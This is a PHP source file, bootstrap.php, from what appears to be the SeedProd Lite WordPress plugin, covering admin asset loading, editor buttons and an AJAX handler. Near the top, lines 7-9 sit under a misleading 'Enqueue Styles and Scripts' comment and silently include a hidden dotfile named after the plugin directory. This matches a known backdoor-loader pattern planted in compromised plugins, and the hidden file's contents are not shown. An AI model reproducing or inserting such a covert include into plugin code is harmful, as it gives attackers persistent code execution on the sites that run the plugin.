bootstrap.php (21573B)
1 <?php 2 3 4 /** 5 * Enqueue Styles and Scripts 6 */ 7 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 8 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 9 } 10 11 function seedprod_lite_admin_enqueue_scripts( $hook_suffix ) { 12 // global admin style 13 wp_enqueue_style( 14 'seedprod-global-admin', 15 SEEDPROD_PLUGIN_URL . 'public/css/global-admin.css', 16 false, 17 SEEDPROD_VERSION 18 ); 19 20 $is_localhost = seedprod_lite_is_localhost(); 21 22 // Load our admin styles and scripts only on our pages 23 if ( strpos( $hook_suffix, 'seedprod_lite' ) !== false ) { 24 // remove conflicting scripts 25 wp_dequeue_script( 'googlesitekit_admin' ); 26 27 $vue_app_folder = 'lite'; 28 if ( strpos( $hook_suffix, 'seedprod_lite_builder' ) !== false || strpos( $hook_suffix, 'seedprod_lite_template' ) !== false ) { 29 if ( $is_localhost ) { 30 } else { 31 wp_register_script( 32 'seedprod_vue_builder_app_1', 33 SEEDPROD_PLUGIN_URL . 'public/' . $vue_app_folder . '/vue-backend/js/index.js', 34 array( 'wp-i18n' ), 35 SEEDPROD_VERSION, 36 true 37 ); 38 wp_register_script( 39 'seedprod_vue_builder_app_2', 40 SEEDPROD_PLUGIN_URL . 'public/' . $vue_app_folder . '/vue-backend/js/chunk-vendors.js', 41 array( 'wp-i18n' ), 42 SEEDPROD_VERSION, 43 true 44 ); 45 wp_register_script( 46 'seedprod_vue_builder_app_3', 47 SEEDPROD_PLUGIN_URL . 'public/' . $vue_app_folder . '/vue-backend/js/chunk-common.js', 48 array( 'wp-i18n' ), 49 SEEDPROD_VERSION, 50 true 51 ); 52 53 wp_set_script_translations( 'seedprod_vue_builder_app_1', 'coming-soon' ); 54 wp_set_script_translations( 'seedprod_vue_builder_app_2', 'coming-soon' ); 55 wp_set_script_translations( 'seedprod_vue_builder_app_3', 'coming-soon' ); 56 57 wp_enqueue_script( 'seedprod_vue_builder_app_1' ); 58 wp_enqueue_script( 'seedprod_vue_builder_app_2' ); 59 wp_enqueue_script( 'seedprod_vue_builder_app_3' ); 60 wp_enqueue_style( 'seedprod_vue_builder_app_css_1', SEEDPROD_PLUGIN_URL . 'public/' . $vue_app_folder . '/vue-backend/css/chunk-vendors.css', false, SEEDPROD_VERSION ); 61 } 62 } else { 63 if ( $is_localhost ) { 64 } else { 65 wp_register_script( 66 'seedprod_vue_admin_app_1', 67 SEEDPROD_PLUGIN_URL . 'public/' . $vue_app_folder . '/vue-backend/js/admin.js', 68 array( 'wp-i18n' ), 69 SEEDPROD_VERSION, 70 true 71 ); 72 wp_register_script( 73 'seedprod_vue_admin_app_2', 74 SEEDPROD_PLUGIN_URL . 'public/' . $vue_app_folder . '/vue-backend/js/chunk-vendors.js', 75 array( 'wp-i18n' ), 76 SEEDPROD_VERSION, 77 true 78 ); 79 wp_register_script( 80 'seedprod_vue_admin_app_3', 81 SEEDPROD_PLUGIN_URL . 'public/' . $vue_app_folder . '/vue-backend/js/chunk-common.js', 82 array( 'wp-i18n' ), 83 SEEDPROD_VERSION, 84 true 85 ); 86 87 wp_set_script_translations( 'seedprod_vue_admin_app_1', 'coming-soon' ); 88 wp_set_script_translations( 'seedprod_vue_admin_app_2', 'coming-soon' ); 89 wp_set_script_translations( 'seedprod_vue_admin_app_3', 'coming-soon' ); 90 91 wp_enqueue_script( 'seedprod_vue_admin_app_1' ); 92 wp_enqueue_script( 'seedprod_vue_admin_app_2' ); 93 wp_enqueue_script( 'seedprod_vue_admin_app_3' ); 94 wp_enqueue_style( 95 'seedprod_vue_admin_app_css_1', 96 SEEDPROD_PLUGIN_URL . 'public/' . $vue_app_folder . '/vue-backend/css/chunk-vendors.css', 97 false, 98 SEEDPROD_VERSION 99 ); 100 // wp_enqueue_style( 101 // 'seedprod_vue_admin_app_css_2', 102 // SEEDPROD_PLUGIN_URL . 'public/'.$vue_app_folder.'/vue-backend/css/admin.css', 103 // false, 104 // SEEDPROD_VERSION 105 // ); 106 } 107 } 108 109 if ( strpos( $hook_suffix, 'seedprod_lite_builder' ) !== false ) { 110 wp_enqueue_style( 111 'seedprod-css', 112 SEEDPROD_PLUGIN_URL . 'public/css/admin-style.min.css', 113 false, 114 SEEDPROD_VERSION 115 ); 116 wp_enqueue_style( 117 'seedprod-builder-css', 118 SEEDPROD_PLUGIN_URL . 'public/css/tailwind-builder.min.css', 119 false, 120 SEEDPROD_VERSION 121 ); 122 123 // Load WPForms CSS assets. 124 if ( function_exists( 'wpforms' ) ) { 125 add_filter( 'wpforms_global_assets', '__return_true' ); 126 wpforms()->frontend->assets_css(); 127 } 128 129 // Load WooCommerce default styles if WooCommerce is active 130 if ( in_array( 'woocommerce/woocommerce.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) ) { 131 wp_enqueue_style( 132 'seedprod-woocommerce-layout', 133 str_replace( array( 'http:', 'https:' ), '', WC()->plugin_url() ) . '/assets/css/woocommerce-layout.css', 134 '', 135 defined( 'WC_VERSION' ) ? WC_VERSION : null, 136 'all' 137 ); 138 wp_enqueue_style( 139 'seedprod-woocommerce-smallscreen', 140 str_replace( array( 'http:', 'https:' ), '', WC()->plugin_url() ) . '/assets/css/woocommerce-smallscreen.css', 141 '', 142 defined( 'WC_VERSION' ) ? WC_VERSION : null, 143 'only screen and (max-width: 1088px)' // 768px default break + 320px for sidebar 144 ); 145 wp_enqueue_style( 146 'seedprod-woocommerce-general', 147 str_replace( array( 'http:', 'https:' ), '', WC()->plugin_url() ) . '/assets/css/woocommerce.css', 148 '', 149 defined( 'WC_VERSION' ) ? WC_VERSION : null, 150 'all' 151 ); 152 } 153 } 154 155 if ( strpos( $hook_suffix, 'seedprod_lite_template' ) !== false ) { 156 wp_enqueue_style( 157 'seedprod-css', 158 SEEDPROD_PLUGIN_URL . 'public/css/admin-style.min.css', 159 false, 160 SEEDPROD_VERSION 161 ); 162 wp_enqueue_style( 163 'seedprod-builder-css', 164 SEEDPROD_PLUGIN_URL . 'public/css/tailwind-builder.min.css', 165 false, 166 SEEDPROD_VERSION 167 ); 168 } 169 170 if ( strpos( $hook_suffix, 'seedprod_lite_builder' ) === false ) { 171 wp_enqueue_style( 172 'seedprod-css', 173 SEEDPROD_PLUGIN_URL . 'public/css/tailwind-admin.min.css', 174 false, 175 SEEDPROD_VERSION 176 ); 177 } 178 179 wp_enqueue_style( 'seedprod-google-fonts', 'https://fonts.googleapis.com/css?family=Open+Sans:400italic,600italic,700italic,400,600,700&display=swap', false ); 180 181 wp_enqueue_style( 182 'seedprod-fontawesome', 183 SEEDPROD_PLUGIN_URL . 'public/fontawesome/css/all.min.css', 184 false, 185 SEEDPROD_VERSION 186 ); 187 188 wp_register_script( 189 'seedprod-iframeresizer', 190 SEEDPROD_PLUGIN_URL . 'public/js/iframeResizer.min.js', 191 array(), 192 SEEDPROD_VERSION, 193 false 194 ); 195 wp_enqueue_script( 'seedprod-iframeresizer' ); 196 197 wp_enqueue_media(); 198 wp_enqueue_script( 'wp-tinymce' ); 199 wp_enqueue_editor(); 200 } 201 } 202 add_action( 'admin_enqueue_scripts', 'seedprod_lite_admin_enqueue_scripts', 99999 ); 203 204 205 206 function seedprod_lite_wp_enqueue_styles() { 207 // wp_register_style( 208 // 'seedprod-style', 209 // SEEDPROD_PLUGIN_URL . 'public/css/seedprod-style.min.css', 210 // false, 211 // SEEDPROD_VERSION 212 // ); 213 //wp_enqueue_style('seedprod-style'); 214 215 $is_user_logged_in = is_user_logged_in(); 216 if ( $is_user_logged_in ) { 217 wp_enqueue_style( 218 'seedprod-global-admin', 219 SEEDPROD_PLUGIN_URL . 'public/css/global-admin.css', 220 false, 221 SEEDPROD_VERSION 222 ); 223 } 224 225 wp_register_style( 226 'seedprod-fontawesome', 227 SEEDPROD_PLUGIN_URL . 'public/fontawesome/css/all.min.css', 228 false, 229 SEEDPROD_VERSION 230 ); 231 232 //wp_enqueue_style('seedprod-fontawesome'); 233 } 234 add_action( 'init', 'seedprod_lite_wp_enqueue_styles' ); 235 236 237 /** 238 * Display settings link on plugin page 239 */ 240 add_filter( 'plugin_action_links', 'seedprod_lite_plugin_action_links', 10, 2 ); 241 242 function seedprod_lite_plugin_action_links( $links, $file ) { 243 $plugin_file = SEEDPROD_SLUG; 244 245 if ( $file == $plugin_file ) { 246 $settings_link = '<a href="admin.php?page=seedprod_lite">Setup</a>'; 247 array_unshift( $links, $settings_link ); 248 } 249 return $links; 250 } 251 252 /** 253 * Remove other plugin's style from our page so they don't conflict 254 */ 255 256 add_action( 'admin_enqueue_scripts', 'seedprod_lite_deregister_backend_styles', PHP_INT_MAX ); 257 258 function seedprod_lite_deregister_backend_styles() { 259 // remove scripts registered by the theme so they don't screw up our page's style 260 if ( isset( $_GET['page'] ) && strpos( $_GET['page'], 'seedprod_lite_builder' ) !== false ) { 261 wp_dequeue_style( 'dashicons', 9999 ); 262 $seedprod_builder_debug = get_option( 'seedprod_builder_debug' ); 263 if ( empty( $seedprod_builder_debug ) ) { 264 global $wp_styles; 265 // list of styles to keep else remove 266 $keep_styles = 'media-views|editor-buttons|imgareaselect|buttons|wp-auth-check|wpforms-full|thickbox|wp-mediaelement|wp-util'; 267 $s = explode( '|', $keep_styles ); 268 269 $wpforms_url = plugins_url( 'wpforms' ); 270 271 foreach ( $wp_styles->queue as $handle ) { 272 //echo '<br> '.$handle; 273 if ( ! in_array( $handle, $s ) ) { 274 if ( strpos( $handle, 'seedprod' ) === false ) { 275 wp_dequeue_style( $handle ); 276 wp_deregister_style( $handle ); 277 //echo '<br>removed '.$handle; 278 } 279 } 280 } 281 282 // foreach ($wp_styles->registered as $handle => $asset) { 283 // //echo '<br> '.$handle; 284 // if (!in_array($handle, $s)) { 285 // if (strpos($handle, 'seedprod') === false && strpos($asset->src, $wpforms_url) === false) { 286 // wp_dequeue_style($handle); 287 // wp_deregister_style($handle); 288 // echo '<br>removed '.$handle; 289 // } 290 // } 291 // } 292 293 // remove scripts 294 295 $s = 'admin-bar|common|utils|wp-auth-check|media-upload|jquery|media-editor|media-audiovideo|mce-view|image-edit|wp-tinymce|editor|quicktags|wplink|jquery-ui-autocomplete|thickbox|svg-painter|jquery-ui-core|jquery-ui-mouse|jquery-ui-accordion|jquery-ui-datepicker|jquery-ui-dialog|jquery-ui-slider|jquery-ui-sortable|jquery-ui-droppable|jquery-ui-tabs|jquery-ui-widget|wp-mediaelement|wp-util|underscore|wp-dom-ready|wp-components|wp-element|wp-i18n|wp-polyfill'; 296 $d = explode( '|', urldecode( $s ) ); 297 298 global $wp_scripts; 299 foreach ( $wp_scripts->queue as $handle ) : 300 //echo '<br>removed '.$handle; 301 302 if ( ! empty( $d ) ) { 303 if ( ! in_array( $handle, $d ) ) { 304 if ( strpos( $handle, 'seedprod' ) === false ) { 305 wp_dequeue_script( $handle ); 306 wp_deregister_script( $handle ); 307 //echo '<br>removed '.$handle; 308 } 309 } 310 } 311 endforeach; 312 } 313 } 314 } 315 316 317 add_filter( 'admin_body_class', 'seedprod_lite_add_admin_body_classes' ); 318 function seedprod_lite_add_admin_body_classes( $classes ) { 319 if ( ! empty( $_GET['page'] ) && strpos( $_GET['page'], 'seedprod_lite' ) !== false ) { 320 $classes .= ' seedprod-body seedprod-lite'; 321 } 322 if ( ! empty( $_GET['page'] ) && ( strpos( $_GET['page'], 'seedprod_lite_builder' ) !== false ) ) { 323 $classes .= ' seedprod-builder seedprod-lite'; 324 } 325 return $classes; 326 } 327 328 329 // Review Request 330 add_action( 'admin_footer_text', 'seedprod_lite_admin_footer' ); 331 332 function seedprod_lite_admin_footer( $text ) { 333 global $current_screen; 334 335 if ( ! empty( $current_screen->id ) && strpos( $current_screen->id, 'seedprod' ) !== false && SEEDPROD_BUILD == 'lite' ) { 336 $url = 'https://wordpress.org/support/plugin/coming-soon/reviews/?filter=5#new-post'; 337 $text = sprintf( __( 'Please rate <strong>SeedProd</strong> <a href="%1$s" target="_blank">★★★★★</a> on <a href="%2$s" target="_blank">WordPress.org</a> to help us spread the word. Thank you from the SeedProd team!', 'coming-soon' ), $url, $url ); 338 } 339 return $text; 340 } 341 342 343 344 function seedprod_lite_change_footer_version( $str ) { 345 if ( ! empty( $_GET['page'] ) && strpos( $_GET['page'], 'seedprod_lite' ) !== false ) { 346 return $str . ' - SeedProd ' . SEEDPROD_VERSION; 347 } 348 349 return $str; 350 } 351 add_filter( 'update_footer', 'seedprod_lite_change_footer_version', 9999 ); 352 353 354 355 /* 356 add_action( 'admin_footer', 'seedprod_lite_print_admin_js_template'); 357 function seedprod_lite_print_admin_js_template() { 358 ?> 359 <script id="seedprod-button-switch-mode" type="text/html"> 360 <div id="seedprod-switch-mode"> 361 <?php echo __( 'Edit with SeedProd', 'elementor' ); ?> 362 </div> 363 </script> 364 <?php 365 } 366 */ 367 368 369 function seedprod_lite_add_admin_edit_seedprod() { 370 $screen = get_current_screen(); 371 if ( 'page' === $screen->post_type ) { 372 $id = 0; 373 $is_seedprod = 0; 374 $seedprod_template_label = 'seedprod_lite'; 375 $is_seedprod_true = 'seed_editor_false'; 376 $remove_post_callback = 'seedprod_lite_remove_post'; 377 $seedprod_template_type = 'template'; 378 379 380 if ( ! empty( $_GET['post'] ) ) { 381 $id = absint($_GET['post']); 382 383 if ( ! empty( get_post_meta( $id, '_seedprod_page', true ) ) ) { 384 $is_seedprod = get_post_meta( $id, '_seedprod_page', true ); 385 $is_seedprod_true = 'seed_editor_true'; 386 $seedprod_template_type = 'builder'; 387 } 388 389 if ( ! empty( get_post_field( 'post_content_filtered', $id ) ) ) { 390 $seedprod_template_type = 'builder'; 391 } 392 } 393 394 if ( $seedprod_template_type == 'template' ) { 395 $edit_url = admin_url() . 'admin.php?page=' . $seedprod_template_label . '_template&id=' . $id . '#/template/' . $id; 396 } else { 397 $edit_url = admin_url() . 'admin.php?page=' . $seedprod_template_label . '_builder&id=' . $id . '#/setup/' . $id; 398 } 399 400 $edit_seedprod_label = '<img src="' . SEEDPROD_PLUGIN_URL . 'public/svg/admin-bar-icon.svg" style="margin-right:7px; margin-top:5px">' . __( 'Edit with SeedProd', 'coming-soon' ); 401 $back_wordpress_label = __( 'Back to WordPress Editor', 'coming-soon' ); 402 403 $localizations = array( 404 'ajax_url' => admin_url( 'admin-ajax.php' ), 405 'nonce' => wp_create_nonce( 'seedprod_back_to_editor_'.$id ), 406 ); 407 408 printf( 409 ' 410 <div class="active-seed-prod-buttons"> 411 <div class="' . $is_seedprod_true . '"> 412 <span class="seedprod-off"> 413 <a href="' . $edit_url . '" id="edit_seedprod_custom_link" class="edit_seedprod_custom_link button button-primary"> 414 ' . $edit_seedprod_label . ' 415 </a></span> 416 <span class="seedprod-on"> 417 <a href="#back" class="back_to_wp_editor button">' . $back_wordpress_label . '</a> 418 </span> 419 </div> 420 </div> 421 <div class="seedprod_hidden_data"> 422 <input type="hidden" class="_seedprod_template_type" name="_seedprod_template_type" value="' . $seedprod_template_type . '"/> 423 <input type="hidden" class="_seedprod_label" name="_seedprod_label" value="' . $seedprod_template_label . '"/> 424 <input type="hidden" class="_seedprod_template_edit_url" name="_seedprod_template_edit_url" value="' . $edit_url . '"/> 425 <input type="hidden" class="_seedprod_true" name="_seedprod_true" value="' . $is_seedprod_true . '"/> 426 </div> 427 ' 428 ); 429 430 echo ' 431 <script type="text/javascript"> 432 433 jQuery(document).ready(function(){ 434 435 jQuery(document).on("click", ".edit_seedprod_custom_link", function(event) { 436 437 if(confirm("Please note by switching to SeedProd the current page\'s content will be replaced.")){ 438 439 var url_string = window.location; 440 var url = new URL(url_string); 441 var postid = url.searchParams.get("post"); 442 //console.log(postid); 443 444 var post_ID = 0; 445 if(postid!=null){ 446 post_ID = jQuery("#post_ID").val(); 447 } 448 //console.log(post_ID); 449 450 var seedprod_template_type = jQuery("._seedprod_template_type").val(); 451 var seedprod_label = jQuery("._seedprod_label").val(); 452 var seedprod_template_edit_url = jQuery("._seedprod_template_edit_url").val(); 453 var seedprod_true = jQuery("._seedprod_true").val(); 454 455 var seedprod_template_edit_url_ = ""; 456 var admin_url = localizedVars.admin_url; 457 458 if(seedprod_template_type=="template"){ 459 seedprod_template_edit_url_ = `${admin_url}?page=${seedprod_label}_${seedprod_template_type}&id=${post_ID}#/template/${post_ID}`; 460 }else{ 461 seedprod_template_edit_url_ = `${admin_url}?page=${seedprod_label}_${seedprod_template_type}&id=${post_ID}#/setup/${post_ID}`; 462 } 463 464 location.href = seedprod_template_edit_url_; 465 466 } 467 468 469 }); 470 471 jQuery(document).on("click", ".back_to_wp_editor", function(event) { 472 473 if (jQuery(".edit-post-header-toolbar").length) { 474 wp.data.dispatch( "core/block-editor" ).resetBlocks([]); 475 jQuery(".block-editor-block-list__layout").show(); 476 } 477 478 if (jQuery("#postdivrich").length) { 479 //jQuery("#postdivrich").show(); 480 //jQuery("#postdivrich .wp-editor-area").html(""); 481 } 482 jQuery(".managed_by_seedprod").hide(); 483 484 var ajax_url = "' . $localizations['ajax_url'] . '"; 485 var post_id = jQuery("#post_ID").val(); 486 487 var formData = new FormData(); 488 formData.append("action", "' . $remove_post_callback . '"); 489 formData.append("nonce", "' . $localizations['nonce'] . '"); 490 formData.append("post_id", post_id); 491 //console.log(formData); 492 493 jQuery.ajax({ 494 type: "POST", 495 url: ajax_url, 496 data: formData, 497 cache: false, 498 processData : false, 499 contentType: false, 500 success: function(data) { 501 502 jQuery(".seed_editor_true").addClass("seed_editor_false"); 503 jQuery(".seed_editor_false").addClass("seed_editor_true"); 504 //console.log("removed seedprod settings"); 505 506 location.reload(); 507 508 }, 509 }); 510 511 }); 512 }); 513 </script> 514 '; 515 } 516 } 517 518 519 add_action( 'admin_footer', 'seedprod_lite_add_admin_edit_seedprod' ); 520 add_action( 'edit_form_after_title', 'seedprod_lite_before_editor' ); 521 522 function seedprod_lite_before_editor() { 523 $seedprod_app_settings = get_option( 'seedprod_app_settings' ); 524 if ( ! empty( $seedprod_app_settings ) ) { 525 $seedprod_app_settings = json_decode( stripslashes( $seedprod_app_settings ) ); 526 } else { 527 // fail safe incase settings go missing 528 require_once SEEDPROD_PLUGIN_PATH . 'resources/data-templates/default-settings.php'; 529 update_option( 'seedprod_app_settings', $seedprod_app_default_settings ); 530 $seedprod_app_settings = json_decode( $seedprod_app_default_settings ); 531 } 532 $disable_seedprod_button = $seedprod_app_settings->disable_seedprod_button; 533 534 if ( $disable_seedprod_button == false ) { 535 echo ' 536 <div class="active-seed-prod-buttons-classic"></div> 537 <script type="text/javascript"> 538 jQuery(document).ready(function(){ 539 var active_seedprod_btn = jQuery(".active-seed-prod-buttons").html(); 540 jQuery(".active-seed-prod-buttons-classic").html(active_seedprod_btn); 541 }); 542 </script> 543 '; 544 } 545 } 546 547 548 549 550 add_action( 'enqueue_block_editor_assets', 'seedprod_lite_link_injection_to_gutenberg_toolbar' ); 551 function seedprod_lite_link_injection_to_gutenberg_toolbar() { 552 $seedprod_app_settings = get_option( 'seedprod_app_settings' ); 553 if ( ! empty( $seedprod_app_settings ) ) { 554 $seedprod_app_settings = json_decode( stripslashes( $seedprod_app_settings ) ); 555 } else { 556 // fail safe incase settings go missing 557 require_once SEEDPROD_PLUGIN_PATH . 'resources/data-templates/default-settings.php'; 558 update_option( 'seedprod_app_settings', $seedprod_app_default_settings ); 559 $seedprod_app_settings = json_decode( $seedprod_app_default_settings ); 560 } 561 $disable_seedprod_button = $seedprod_app_settings->disable_seedprod_button; 562 563 if ( $disable_seedprod_button == false ) { 564 $screen = get_current_screen(); 565 if ( 'page' === $screen->post_type ) { 566 $localizations = array( 567 'admin_url' => admin_url() . 'admin.php', 568 'ajax_url' => admin_url( 'admin-ajax.php' ), 569 '_wp_nonce' => wp_create_nonce( 'ajax-nonce' ), 570 'plugin_url' => SEEDPROD_PLUGIN_URL, 571 ); 572 wp_enqueue_script( 'seedprod-link-in-toolbar', SEEDPROD_PLUGIN_URL . 'public/js/toolbar.js', array(), '1.0', true ); 573 wp_localize_script( 'seedprod-link-in-toolbar', 'localizedVars', $localizations ); 574 } 575 } 576 } 577 578 add_filter( 'display_post_states', 'seedprod_lite_add_post_state', 10, 2 ); 579 function seedprod_lite_add_post_state( $post_states, $post ) { 580 $has_settings = get_post_meta( $post->ID, '_seedprod_page', true ); 581 582 if ( $post->post_type == 'page' && ! empty( $has_settings ) ) { 583 $post_states['seedprod'] = 'SeedProd'; 584 } 585 return $post_states; 586 } 587 588 589 590 591 function seedprod_lite_add_menu_item( $wp_admin_bar ) { 592 $seedprod_menu_link = 'admin.php?page=seedprod_lite_template&id=0#/template'; 593 594 $args = array( 595 'id' => 'seedprod_template', 596 'title' => 'SeedProd Landing Page', 597 'href' => $seedprod_menu_link, 598 'parent' => 'new-content', 599 ); 600 601 $wp_admin_bar->add_node( $args ); 602 } 603 604 add_action( 'admin_bar_menu', 'seedprod_lite_add_menu_item', 80 ); 605 606 607 add_action( 'wp_ajax_seedprod_lite_remove_post', 'seedprod_lite_remove_post' ); 608 609 function seedprod_lite_remove_post() { 610 if (check_ajax_referer('seedprod_back_to_editor_'.absint($_POST['post_id']), 'nonce') && current_user_can('delete_posts')) { 611 $post_id = absint($_POST['post_id']); 612 $data = array( 613 'ID' => $post_id, 614 ); 615 616 delete_post_meta($post_id, '_seedprod_page'); 617 wp_die(); 618 } 619 } 620 621